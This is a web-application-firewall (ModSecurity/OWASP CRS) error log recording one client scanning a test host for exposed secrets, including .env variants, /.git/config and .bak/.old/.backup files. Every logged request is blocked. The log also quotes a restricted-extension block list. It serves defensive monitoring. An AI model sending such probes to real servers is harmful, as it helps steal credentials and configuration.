[Sun Nov 30 15:25:06.100623 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aSxTwi6tRBnriPIR7Vg5oAAAAAw&quot;]
[Sun Nov 30 15:25:06.100871 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aSxTwi6tRBnriPIR7Vg5oAAAAAw&quot;]
[Sun Nov 30 15:25:06.101100 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aSxTwi6tRBnriPIR7Vg5oAAAAAw&quot;]
[Sun Nov 30 15:25:06.999257 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aSxTwkR0pJY8_qkvKEEfNgAAAAM&quot;]
[Sun Nov 30 15:25:06.999580 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aSxTwkR0pJY8_qkvKEEfNgAAAAM&quot;]
[Sun Nov 30 15:25:06.999840 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aSxTwkR0pJY8_qkvKEEfNgAAAAM&quot;]
[Sun Nov 30 15:25:07.224453 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aSxTw0R0pJY8_qkvKEEfNwAAAAM&quot;]
[Sun Nov 30 15:25:07.224686 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aSxTw0R0pJY8_qkvKEEfNwAAAAM&quot;]
[Sun Nov 30 15:25:07.225427 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aSxTw0R0pJY8_qkvKEEfNwAAAAM&quot;]
[Sun Nov 30 15:25:07.449596 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSxTw0R0pJY8_qkvKEEfOAAAAAM&quot;]
[Sun Nov 30 15:25:07.449835 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSxTw0R0pJY8_qkvKEEfOAAAAAM&quot;]
[Sun Nov 30 15:25:07.450042 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSxTw0R0pJY8_qkvKEEfOAAAAAM&quot;]
[Sun Nov 30 15:25:08.351648 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPAAAAAM&quot;]
[Sun Nov 30 15:25:08.352000 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPAAAAAM&quot;]
[Sun Nov 30 15:25:08.352217 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPAAAAAM&quot;]
[Sun Nov 30 15:25:08.575879 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPQAAAAM&quot;]
[Sun Nov 30 15:25:08.576095 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPQAAAAM&quot;]
[Sun Nov 30 15:25:08.576295 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPQAAAAM&quot;]
[Sun Nov 30 15:25:08.801393 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPgAAAAM&quot;]
[Sun Nov 30 15:25:08.801695 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPgAAAAM&quot;]
[Sun Nov 30 15:25:08.801970 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aSxTxER0pJY8_qkvKEEfPgAAAAM&quot;]
[Sun Nov 30 15:25:09.026012 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfPwAAAAM&quot;]
[Sun Nov 30 15:25:09.026233 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfPwAAAAM&quot;]
[Sun Nov 30 15:25:09.026457 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfPwAAAAM&quot;]
[Sun Nov 30 15:25:09.250693 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQAAAAAM&quot;]
[Sun Nov 30 15:25:09.251127 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQAAAAAM&quot;]
[Sun Nov 30 15:25:09.251354 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQAAAAAM&quot;]
[Sun Nov 30 15:25:09.477104 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQQAAAAM&quot;]
[Sun Nov 30 15:25:09.477449 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQQAAAAM&quot;]
[Sun Nov 30 15:25:09.477645 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Thumbs.db&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQQAAAAM&quot;]
[Sun Nov 30 15:25:09.927421 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aSxTxUR0pJY8_qkvKEEfQwAAAAM&quot;]
